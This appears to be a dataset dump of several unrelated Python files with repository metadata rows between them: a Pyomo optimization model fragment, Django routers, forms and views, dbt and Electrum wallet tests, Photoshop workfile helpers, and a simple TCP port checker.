*m.x37)**0.6 + (1e-6 + m.x38/(1e-6 + (1e-6 + 0.5*m.x59*m.x60*(m.x59 + m.x60))**0.33333))**0.6 + (
1e-6 + m.x39/(1e-6 + (1e-6 + 0.5*m.x60*m.x61*(m.x60 + m.x61))**0.33333))**0.6 + (1e-6 +
99.9853968566039*m.x40)**0.6 + (1e-6 + m.x41/(1e-6 + (1e-6 + 0.5*m.x62*m.x63*(m.x62 + m.x63))**
0.33333))**0.6 + (1e-6 + m.x42/(1e-6 + (1e-6 + 0.5*m.x63*m.x64*(m.x63 + m.x64))**0.33333))**0.6
+ (1e-6 + 99.9853968566039*m.x43)**0.6 + (1e-6 + m.x44/(1e-6 + (1e-6 + 0.5*m.x65*m.x66*(m.x65 +
m.x66))**0.33333))**0.6 + (1e-6 + m.x45/(1e-6 + (1e-6 + 0.5*m.x66*m.x67*(m.x66 + m.x67))**0.33333
))**0.6 + (1e-6 + 99.9853968566039*m.x46)**0.6 + (1e-6 + m.x47/(1e-6 + (1e-6 + 0.5*m.x68*m.x69*(
m.x68 + m.x69))**0.33333))**0.6 + (1e-6 + m.x48/(1e-6 + (1e-6 + 0.5*m.x69*m.x70*(m.x69 + m.x70))
**0.33333))**0.6 + (1e-6 + 99.9853968566039*m.x49)**0.6) + 1200*(1e-6 + m.x55/(1e-6 + 40*m.x76*(
20 + 0.5*m.x76))**0.33333)**0.6 + 140*m.x55 + 1200*((1e-6 + m.x50/(1e-6 + 10*m.x71*(20 + m.x71))
**0.33333)**0.6 + (1e-6 + m.x51/(1e-6 + 40*m.x72*(80 + m.x72))**0.33333)**0.6 + (1e-6 + m.x52/(
1e-6 + 30*m.x73*(60 + m.x73))**0.33333)**0.6 + (1e-6 + m.x53/(1e-6 + 30*m.x74*(60 + m.x74))**
0.33333)**0.6 + (1e-6 + m.x54/(1e-6 + 10*m.x75*(20 + m.x75))**0.33333)**0.6) + 10*m.x50 + 10*
m.x51 + 10*m.x52 + 10*m.x53 + 10*m.x54 + 5500*m.b1 + 5500*m.b2 + 5500*m.b3 + 5500*m.b4
+ 5500*m.b5 + 5500*m.b6 + 5500*m.b7 + 5500*m.b8 + 5500*m.b9 + 5500*m.b10 + 5500*m.b11
+ 5500*m.b12 + 5500*m.b13 + 5500*m.b14 + 5500*m.b15 + 5500*m.b16, sense=minimize)
m.c1 = Constraint(expr= 6*m.x17 - 6*m.x18 - m.x35 == 0)
m.c2 = Constraint(expr= 6*m.x18 - 6*m.x19 - m.x36 == 0)
m.c3 = Constraint(expr= 4*m.x20 - 4*m.x21 - m.x38 == 0)
m.c4 = Constraint(expr= 4*m.x21 - 4*m.x22 - m.x39 == 0)
m.c5 = Constraint(expr= 6*m.x23 - 6*m.x24 - m.x41 == 0)
m.c6 = Constraint(expr= 6*m.x24 - 6*m.x25 - m.x42 == 0)
m.c7 = Constraint(expr= 20*m.x26 - 20*m.x27 - m.x44 == 0)
m.c8 = Constraint(expr= 20*m.x27 - 20*m.x28 - m.x45 == 0)
m.c9 = Constraint(expr= 12*m.x29 - 12*m.x30 - m.x47 == 0)
m.c10 = Constraint(expr= 12*m.x30 - 12*m.x31 - m.x48 == 0)
m.c11 = Constraint(expr= 18*m.x32 - 18*m.x33 - m.x35 - m.x38 - m.x41 - m.x44 - m.x47 == 0)
m.c12 = Constraint(expr= 18*m.x33 - 18*m.x34 - m.x36 - m.x39 - m.x42 - m.x45 - m.x48 == 0)
m.c13 = Constraint(expr= 6*m.x19 - m.x50 == 1920)
m.c14 = Constraint(expr= 4*m.x22 - m.x51 == 1520)
m.c15 = Constraint(expr= 6*m.x25 - m.x52 == 2160)
m.c16 = Constraint(expr= 20*m.x28 - m.x53 == 7200)
m.c17 = Constraint(expr= 12*m.x31 - m.x54 == 3840)
m.c18 = Constraint(expr= - m.x35 - m.x36 - m.x50 == -1080)
m.c19 = Constraint(expr= - m.x38 - m.x39 - m.x51 == -400)
m.c20 = Constraint(expr= - m.x41 - m.x42 - m.x52 == -600)
m.c21 = Constraint(expr= - m.x44 - m.x45 - m.x53 == -400)
m.c22 = Constraint(expr= - m.x47 - m.x48 - m.x54 == -720)
m.c23 = Constraint(expr= - 18*m.x32 - m.x55 == -11880)
m.c24 = Constraint(expr= - m.x35 - m.x36 - m.x38 - m.x39 - m.x41 - m.x42 - m.x44 - m.x45 - m.x47 - m.x48 - m.x55
== -6660)
m.c25 = Constraint(expr= m.x17 - m.x18 >= 0)
m.c26 = Constraint(expr= m.x18 - m.x19 >= 0)
m.c27 = Constraint(expr= m.x20 - m.x21 >= 0)
m.c28 = Constraint(expr= m.x21 - m.x22 >= 0)
m.c29 = Constraint(expr= m.x23 - m.x24 >= 0)
m.c30 = Constraint(expr= m.x24 - m.x25 >= 0)
m.c31 = Constraint(expr= m.x26 - m.x27 >= 0)
m.c32 = Constraint(expr= m.x27 - m.x28 >= 0)
m.c33 = Constraint(expr= m.x29 - m.x30 >= 0)
m.c34 = Constraint(expr= m.x30 - m.x31 >= 0)
m.c35 = Constraint(expr= m.x32 - m.x33 >= 0)
m.c36 = Constraint(expr= m.x33 - m.x34 >= 0)
m.c37 = Constraint(expr= m.x19 >= 320)
m.c38 = Constraint(expr= m.x22 >= 380)
m.c39 = Constraint(expr= m.x25 >= 360)
m.c40 = Constraint(expr= m.x28 >= 360)
m.c41 = Constraint(expr= m.x31 >= 320)
m.c42 = Constraint(expr= - m.x32 >= -660)
m.c43 = Constraint(expr= - m.x17 == -500)
m.c44 = Constraint(expr= - m.x20 == -480)
m.c45 = Constraint(expr= - m.x23 == -460)
m.c46 = Constraint(expr= - m.x26 == -380)
m.c47 = Constraint(expr= - m.x29 == -380)
m.c48 = Constraint(expr= - m.x34 == -290)
m.c49 = Constraint(expr= - 1080*m.b1 + m.x35 <= 0)
m.c50 = Constraint(expr= - 1080*m.b2 + m.x36 <= 0)
m.c51 = Constraint(expr= - 400*m.b3 + m.x38 <= 0)
m.c52 = Constraint(expr= - 400*m.b4 + m.x39 <= 0)
m.c53 = Constraint(expr= - 600*m.b5 + m.x41 <= 0)
m.c54 = Constraint(expr= - 600*m.b6 + m.x42 <= 0)
m.c55 = Constraint(expr= - 400*m.b7 + m.x44 <= 0)
m.c56 = Constraint(expr= - 400*m.b8 + m.x45 <= 0)
m.c57 = Constraint(expr= - 720*m.b9 + m.x47 <= 0)
m.c58 = Constraint(expr= - 720*m.b10 + m.x48 <= 0)
m.c59 = Constraint(expr= - 6660*m.b16 + m.x55 <= 0)
m.c60 = Constraint(expr= - 1080*m.b11 + m.x50 <= 0)
m.c61 = Constraint(expr= - 400*m.b12 + m.x51 <= 0)
m.c62 = Constraint(expr= - 600*m.b13 + m.x52 <= 0)
m.c63 = Constraint(expr= - 400*m.b14 + m.x53 <= 0)
m.c64 = Constraint(expr= - 720*m.b15 + m.x54 <= 0)
m.c65 = Constraint(expr= 340*m.b1 - m.x17 + m.x32 + m.x56 <= 340)
m.c66 = Constraint(expr= 340*m.b2 - m.x18 + m.x33 + m.x57 <= 340)
m.c67 = Constraint(expr= 280*m.b3 - m.x20 + m.x32 + m.x59 <= 280)
m.c68 = Constraint(expr= 280*m.b4 - m.x21 + m.x33 + m.x60 <= 280)
m.c69 = Constraint(expr= 300*m.b5 - m.x23 + m.x32 + m.x62 <= 300)
m.c70 = Constraint(expr= 300*m.b6 - m.x24 + m.x33 + m.x63 <= 300)
m.c71 = Constraint(expr= 300*m.b7 - m.x26 + m.x32 + m.x65 <= 300)
m.c72 = Constraint(expr= 300*m.b8 - m.x27 + m.x33 + m.x66 <= 300)
m.c73 = Constraint(expr= 340*m.b9 - m.x29 + m.x32 + m.x68 <= 340)
m.c74 = Constraint(expr= 340*m.b10 - m.x30 + m.x33 + m.x69 <= 340)
m.c75 = Constraint(expr= 340*m.b1 - m.x18 + m.x33 + m.x57 <= 340)
m.c76 = Constraint(expr= 340*m.b2 - m.x19 + m.x34 + m.x58 <= 340)
m.c77 = Constraint(expr= 280*m.b3 - m.x21 + m.x33 + m.x60 <= 280)
m.c78 = Constraint(expr= 280*m.b4 - m.x22 + m.x34 + m.x61 <= 280)
m.c79 = Constraint(expr= 300*m.b5 - m.x24 + m.x33 + m.x63 <= 300)
m.c80 = Constraint(expr= 300*m.b6 - m.x25 + m.x34 + m.x64 <= 300)
m.c81 = Constraint(expr= 300*m.b7 - m.x27 + m.x33 + m.x66 <= 300)
m.c82 = Constraint(expr= 300*m.b8 - m.x28 + m.x34 + m.x67 <= 300)
m.c83 = Constraint(expr= 340*m.b9 - m.x30 + m.x33 + m.x69 <= 340)
m.c84 = Constraint(expr= 340*m.b10 - m.x31 + m.x34 + m.x70 <= 340)
m.c85 = Constraint(expr= - m.x19 + m.x71 <= -320)
m.c86 = Constraint(expr= - m.x22 + m.x72 <= -320)
m.c87 = Constraint(expr= - m.x25 + m.x73 <= -320)
m.c88 = Constraint(expr= - m.x28 + m.x74 <= -320)
m.c89 = Constraint(expr= - m.x31 + m.x75 <= -320)
m.c90 = Constraint(expr= m.x32 + m.x76 <= 700)
| 40.916944 | 120 | 0.585742 | 2,282 | 12,316 | 3.161262 | 0.125329 | 0.17466 | 0.11644 | 0.166343 | 0.558497 | 0.534239 | 0.477128 | 0.422235 | 0.400055 | 0 | 0 | 0.220168 | 0.196411 | 12,316 | 300 | 121 | 41.053333 | 0.50874 | 0.055213 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.005348 | 0 | 0.005348 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c4404e7f775bab86ed7b2586c45c05b2da250937 | 213 | py | Python | Exercicio/024.py | DeboraSISA/DeboraPython | 7d50082757b9c563166dd71ef0c4b746b7afcf6d | [
"MIT"
] | null | null | null | Exercicio/024.py | DeboraSISA/DeboraPython | 7d50082757b9c563166dd71ef0c4b746b7afcf6d | [
"MIT"
] | 1 | 2021-05-19T02:08:18.000Z | 2021-05-19T02:09:12.000Z | Exercicio/024.py | DeboraSISA/DeboraPython | 7d50082757b9c563166dd71ef0c4b746b7afcf6d | [
"MIT"
] | null | null | null | '''
Exercício Python 24:
Crie um programa que leia o nome de uma cidade diga se ela
começa ou não com o nome “SANTO”.
'''
cid = str(input('Em que cidade você nasceu? ')).strip()
print(cid[0:5].lower() == 'santo')
| 26.625 | 58 | 0.676056 | 38 | 213 | 3.789474 | 0.842105 | 0.069444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022599 | 0.169014 | 213 | 7 | 59 | 30.428571 | 0.79096 | 0.530516 | 0 | 0 | 0 | 0 | 0.347826 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
c45ca275fafb7884d96baabdb41118db0ac4d614 | 582 | py | Python | test/integration/022_bigquery_test/test_bigquery_query_results.py | joellabes/dbt | 1060035838650a30e86989cbf2693db7720ff002 | [
"Apache-2.0"
] | 1 | 2020-11-18T21:25:53.000Z | 2020-11-18T21:25:53.000Z | test/integration/022_bigquery_test/test_bigquery_query_results.py | azhard/dbt | 9cd7cbc9e35e5a7c8c4f17a3d113263f4421ab55 | [
"Apache-2.0"
] | 50 | 2021-11-02T06:20:50.000Z | 2022-03-31T06:23:16.000Z | test/integration/022_bigquery_test/test_bigquery_query_results.py | azhard/dbt | 9cd7cbc9e35e5a7c8c4f17a3d113263f4421ab55 | [
"Apache-2.0"
] | 1 | 2021-11-23T20:28:07.000Z | 2021-11-23T20:28:07.000Z | from test.integration.base import DBTIntegrationTest, use_profile
class TestBaseBigQueryResults(DBTIntegrationTest):
@property
def schema(self):
return "bigquery_test_022"
@property
def models(self):
return "models"
@property
def project_config(self):
return {
'config-version': 2,
'macro-paths': ['macros'],
}
@use_profile('bigquery')
def test__bigquery_type_inference(self):
result = self.run_dbt(['run-operation', 'test_int_inference'])
self.assertTrue(result.success)
| 23.28 | 70 | 0.64433 | 59 | 582 | 6.152542 | 0.576271 | 0.090909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009153 | 0.249141 | 582 | 24 | 71 | 24.25 | 0.82151 | 0 | 0 | 0.166667 | 0 | 0 | 0.159794 | 0 | 0 | 0 | 0 | 0 | 0.055556 | 1 | 0.222222 | false | 0 | 0.055556 | 0.166667 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
c4698c8f6fb81068eca5942a3315e5d950da1729 | 560 | py | Python | infer/lib/capture/analyze.py | vaginessa/infer | 553d39eb7d7663fb8762d368feb3b824416f37a1 | [
"BSD-3-Clause"
] | null | null | null | infer/lib/capture/analyze.py | vaginessa/infer | 553d39eb7d7663fb8762d368feb3b824416f37a1 | [
"BSD-3-Clause"
] | null | null | null | infer/lib/capture/analyze.py | vaginessa/infer | 553d39eb7d7663fb8762d368feb3b824416f37a1 | [
"BSD-3-Clause"
] | null | null | null | import os
import util
MODULE_NAME = __name__
MODULE_DESCRIPTION = '''Run analysis of what has already been captured:
Usage:
infer -- analyze
infer --out <capture_folder> -- analyze'''
def gen_instance(*args):
return NoCapture(*args)
# This creates an empty argparser for the module, which provides only
# description/usage information and no arguments.
create_argparser = util.base_argparser(MODULE_DESCRIPTION, MODULE_NAME)
class NoCapture:
def __init__(self, args, cmd):
self.args = args
def capture(self):
return os.EX_OK
| 22.4 | 71 | 0.7375 | 75 | 560 | 5.28 | 0.64 | 0.050505 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.178571 | 560 | 24 | 72 | 23.333333 | 0.86087 | 0.205357 | 0 | 0 | 0 | 0 | 0.251131 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.133333 | 0.133333 | 0.533333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
c46ab68f5639ab5ef3251539a2b3c0d5eb7a2d50 | 923 | py | Python | config/api_router.py | edderleonardo/ado | fa3478e3aa55b71e7627a9b5017fa2fbff196c31 | [
"BSD-3-Clause"
] | null | null | null | config/api_router.py | edderleonardo/ado | fa3478e3aa55b71e7627a9b5017fa2fbff196c31 | [
"BSD-3-Clause"
] | null | null | null | config/api_router.py | edderleonardo/ado | fa3478e3aa55b71e7627a9b5017fa2fbff196c31 | [
"BSD-3-Clause"
] | null | null | null | from django.conf import settings
from django.urls.conf import path
from rest_framework.routers import DefaultRouter, SimpleRouter
from ado.apps.buses.api.views import BusesViewSet, PassengerView
from ado.apps.drivers.api.views import DriverViewSet
from ado.apps.passengers.api.views import PassengerViewSet
from ado.apps.routes.api.views import RouteViewSet
from ado.apps.users.api.views import UserViewSet
if settings.DEBUG:
router = DefaultRouter()
else:
router = SimpleRouter()
router.register("users", UserViewSet)
router.register("passenger", PassengerViewSet, basename="passengers")
router.register("drivers", DriverViewSet, basename="drivers")
router.register("buses", BusesViewSet, basename="buses")
router.register("route", RouteViewSet, basename="route")
urlpatterns = [
path('add/passenger/<int:pk>/', PassengerView.as_view(), name="add_passenger")
]
app_name = "api"
urlpatterns += router.urls
| 32.964286 | 82 | 0.788732 | 113 | 923 | 6.40708 | 0.380531 | 0.048343 | 0.075967 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.094258 | 923 | 27 | 83 | 34.185185 | 0.866029 | 0 | 0 | 0 | 0 | 0 | 0.105092 | 0.024919 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.181818 | 0.363636 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
c4790f7f2823a71a7cabff59e9c6a86fd5d4e451 | 2,874 | py | Python | tests/test_electrum.py | gionasoldati/BitcoinBlockchainTechnology | 4ac9d5c1bab6c0ff0fb21803d6857cd384c36ed9 | [
"MIT"
] | null | null | null | tests/test_electrum.py | gionasoldati/BitcoinBlockchainTechnology | 4ac9d5c1bab6c0ff0fb21803d6857cd384c36ed9 | [
"MIT"
] | null | null | null | tests/test_electrum.py | gionasoldati/BitcoinBlockchainTechnology | 4ac9d5c1bab6c0ff0fb21803d6857cd384c36ed9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (C) 2017-2019 The btclib developers
#
# This file is part of btclib. It is subject to the license terms in the
# LICENSE file found in the top-level directory of this distribution.
#
# No part of btclib including this file, may be copied, modified, propagated,
# or distributed except according to the terms contained in the LICENSE file.
import unittest
import os
import json
from btclib.electrum import PRIVATE, bip32_xpub_from_xprv, \
electrum_entropy_from_mnemonic, electrum_mnemonic_from_raw_entropy, \
electrum_master_prvkey_from_mnemonic, \
electrum_master_prvkey_from_raw_entropy
class TestMnemonicDictionaries(unittest.TestCase):
def test_electrum_wallet(self):
lang = "en"
raw_entropy = 0x110aaaa03974d093eda670121023cd0772
eversion = 'standard'
mnemonic = electrum_mnemonic_from_raw_entropy(
raw_entropy, lang, eversion)
entropy = int(electrum_entropy_from_mnemonic(mnemonic, lang), 2)
self.assertLess(entropy-raw_entropy, 0xfff)
passphrase = ''
xversion = b'\x04\x88\xAD\xE4'
mprv = electrum_master_prvkey_from_mnemonic(
mnemonic, passphrase, xversion)
# TODO: compare with the mprv generated by electrum
mprv2 = electrum_master_prvkey_from_raw_entropy(
raw_entropy, passphrase, lang, xversion)
self.assertEqual(mprv2, mprv)
# invalid mnemonic version '00'
mnemonic = "ability awful fetch liberty company spatial panda hat then canal ball cross video"
self.assertRaises(ValueError, electrum_master_prvkey_from_mnemonic,
mnemonic, passphrase, xversion)
def test_electrum_vectors(self):
filename = "test_electrum_vectors.json"
path_to_filename = os.path.join(os.path.dirname(__file__),
"./data/",
filename)
with open(path_to_filename, 'r') as f:
test_vectors = json.load(f)
f.closed
for test_vector in test_vectors:
test_mnemonic = test_vector[1]
passphrase = test_vector[2]
test_mpub = test_vector[3]
xversion = PRIVATE[0]
mprv = electrum_master_prvkey_from_mnemonic(
test_mnemonic, passphrase, xversion)
mpub = bip32_xpub_from_xprv(mprv).decode()
self.assertEqual(mpub, test_mpub)
lang = "en"
entropy = int(electrum_entropy_from_mnemonic(
test_mnemonic, lang), 2)
version = test_vector[0]
mnemonic = electrum_mnemonic_from_raw_entropy(
entropy, lang, version)
self.assertEqual(mnemonic, test_mnemonic)
if __name__ == "__main__":
# execute only if run as a script
unittest.main()
| 36.846154 | 102 | 0.656924 | 330 | 2,874 | 5.442424 | 0.393939 | 0.050111 | 0.066815 | 0.080178 | 0.258352 | 0.229399 | 0.064588 | 0.064588 | 0 | 0 | 0 | 0.026392 | 0.274878 | 2,874 | 77 | 103 | 37.324675 | 0.835413 | 0.163535 | 0 | 0.153846 | 0 | 0 | 0.063101 | 0.010865 | 0 | 0 | 0.017133 | 0.012987 | 0.096154 | 1 | 0.038462 | false | 0.115385 | 0.076923 | 0 | 0.134615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
c47db069e35d0885cc84c3b16e415a51198a16de | 555 | py | Python | projects/forms.py | MaryannGitonga/Awwwards-Clone | 00bb535c846c10cec23a73c2f35c7b8785189a5f | [
"MIT"
] | null | null | null | projects/forms.py | MaryannGitonga/Awwwards-Clone | 00bb535c846c10cec23a73c2f35c7b8785189a5f | [
"MIT"
] | 4 | 2020-02-12T03:27:06.000Z | 2021-06-10T22:29:10.000Z | projects/forms.py | jumbamathews/previewproject | 1e0e1622c1c0803eba3eb4f0971f7c7ddab12355 | [
"MIT"
] | 1 | 2020-03-17T20:36:36.000Z | 2020-03-17T20:36:36.000Z | from .models import Project,UserProfile
from django.contrib.auth.models import User
from .models import UserProfile,Project
from django.forms import ModelForm
class NewProjectForm(ModelForm):
class Meta:
model = Project
fields = ('project_title','project_description','landing_page','live_site')
class VoteForm(ModelForm):
class Meta:
model = Project
fields = ('design','usability','content')
class ProfileEditForm(ModelForm):
class Meta:
model = UserProfile
fields = ('profile_pic','bio')
| 25.227273 | 83 | 0.699099 | 60 | 555 | 6.383333 | 0.5 | 0.146214 | 0.140992 | 0.180157 | 0.18799 | 0.18799 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 555 | 21 | 84 | 26.428571 | 0.862613 | 0 | 0 | 0.3125 | 0 | 0 | 0.16036 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c4880f38623262a1fe47d421dfb4c4864a11abc1 | 931 | py | Python | avalon/photoshop/workio.py | simonebarbieri/avalon-core | cfd4191e364b47de7364096f45d9d9d9a901692a | [
"MIT"
] | 5 | 2019-01-09T09:05:16.000Z | 2021-12-11T19:36:22.000Z | avalon/photoshop/workio.py | jrsndl/avalon-core | 82d5b8137eea3b49d4781a4af51d7f375bb9f628 | [
"MIT"
] | 106 | 2018-11-11T23:48:18.000Z | 2022-03-23T16:21:18.000Z | avalon/photoshop/workio.py | jrsndl/avalon-core | 82d5b8137eea3b49d4781a4af51d7f375bb9f628 | [
"MIT"
] | 6 | 2020-06-11T10:52:27.000Z | 2021-11-22T12:08:55.000Z | """Host API required Work Files tool"""
import os
from . import lib
from avalon import api
def _active_document():
document_name = lib.stub().get_active_document_name()
if not document_name:
return None
return document_name
def file_extensions():
return api.HOST_WORKFILE_EXTENSIONS["photoshop"]
def has_unsaved_changes():
if _active_document():
return not lib.stub().is_saved()
return False
def save_file(filepath):
_, ext = os.path.splitext(filepath)
lib.stub().saveAs(filepath, ext[1:], True)
def open_file(filepath):
lib.stub().open(filepath)
return True
def current_file():
try:
return os.path.normpath(lib.stub().get_active_document_full_name()).\
replace("\\", "/")
except Exception:
return None
def work_root(session):
return os.path.normpath(session["AVALON_WORKDIR"]).replace("\\", "/")
| 19.395833 | 77 | 0.655209 | 117 | 931 | 4.991453 | 0.42735 | 0.059932 | 0.034247 | 0.054795 | 0.082192 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001377 | 0.220193 | 931 | 47 | 78 | 19.808511 | 0.80303 | 0.035446 | 0 | 0.071429 | 0 | 0 | 0.032511 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.107143 | 0.071429 | 0.678571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c48a8c1b89f2af052e689ddee35fc1e5181766e5 | 491 | py | Python | lib/pt_network.py | fagcinsk/pytools | 772172451f0b27c7c09508698d24bee2ef40ddb5 | [
"MIT"
] | 1 | 2021-01-05T20:49:02.000Z | 2021-01-05T20:49:02.000Z | lib/pt_network.py | fagcinsk/pytools | 772172451f0b27c7c09508698d24bee2ef40ddb5 | [
"MIT"
] | 1 | 2021-01-13T20:15:02.000Z | 2021-01-14T19:16:10.000Z | lib/pt_network.py | fagcinsk/pytools | 772172451f0b27c7c09508698d24bee2ef40ddb5 | [
"MIT"
] | 1 | 2021-01-05T13:59:08.000Z | 2021-01-05T13:59:08.000Z | from socket import socket
def check_port(ip: str, port: int = 21, timeout: float = 0.2) -> str:
"""Check tcp port, returns ip if connection established"""
with socket() as sock:
sock.settimeout(timeout)
return ip if sock.connect_ex((ip, port)) == 0 else ''
def portchecker(port: int, timeout: float = 0.2):
"""Returns function to scan one port with fixed timeout"""
from functools import partial
return partial(check_port, port=port, timeout=timeout)
| 32.733333 | 69 | 0.676171 | 71 | 491 | 4.633803 | 0.492958 | 0.054711 | 0.079027 | 0.085106 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018041 | 0.209776 | 491 | 14 | 70 | 35.071429 | 0.829897 | 0.213849 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
67093e31e5b7e1669c5a2da0636044d06b7d0111 | 515 | py | Python | sales/views.py | conekta-examples/hello-conekta-python-django | fabea7d6d45bc0aa551546f5108e63ffb552f979 | [
"MIT"
] | 3 | 2017-10-24T19:19:57.000Z | 2018-09-24T16:52:18.000Z | sales/views.py | conekta-examples/hello-conekta-python-django | fabea7d6d45bc0aa551546f5108e63ffb552f979 | [
"MIT"
] | 1 | 2016-08-30T01:51:39.000Z | 2016-09-02T03:43:36.000Z | sales/views.py | conekta-examples/hello-conekta-python-django | fabea7d6d45bc0aa551546f5108e63ffb552f979 | [
"MIT"
] | null | null | null | from django.shortcuts import render_to_response, render
from django.http import HttpResponse
from django.views.decorators.csrf import csrf_protect
from sales.models import Sale
from django.conf import settings
@csrf_protect
def index(request):
if request.method == 'GET':
return render(request, 'charge.html')
else:
token_id = request.POST["conektaTokenId"]
sale = Sale()
if token_id: #Prevents send empty token
return HttpResponse(sale.charge(300, token_id))
| 28.611111 | 59 | 0.720388 | 67 | 515 | 5.432836 | 0.537313 | 0.10989 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007264 | 0.198058 | 515 | 17 | 60 | 30.294118 | 0.874092 | 0.048544 | 0 | 0 | 0 | 0 | 0.05726 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.357143 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
670ce89ac8abe31b1dcaeb1f20e78fcb2318bfca | 715 | py | Python | Django/DjangoT3.2_LTS/02 Template view/mywebsite/views.py | Akhadafi/WEB-Framework | 4547a682ac1f007aa6f97512baf76b92ef1c9b9a | [
"MIT"
] | null | null | null | Django/DjangoT3.2_LTS/02 Template view/mywebsite/views.py | Akhadafi/WEB-Framework | 4547a682ac1f007aa6f97512baf76b92ef1c9b9a | [
"MIT"
] | null | null | null | Django/DjangoT3.2_LTS/02 Template view/mywebsite/views.py | Akhadafi/WEB-Framework | 4547a682ac1f007aa6f97512baf76b92ef1c9b9a | [
"MIT"
] | null | null | null | from django.views.generic.base import TemplateView
# inheritence dari TemplateResponseMixin
# ContexMixin
# View
class IndexView(TemplateView):
pass
class ParameterView(TemplateView):
template_name = "parameter.html"
def get_context_data(self, *args, **kwargs):
context = super().get_context_data(**kwargs)
print(context)
# context = kwargs
context["judul"] = "Home parameter"
context["penulis"] = "Khadafi"
return context
class ContextView(TemplateView):
template_name = "context.html"
def get_context_data(self):
context = {
"judul": "Home Context",
"penulis": "Khadafi",
}
return context
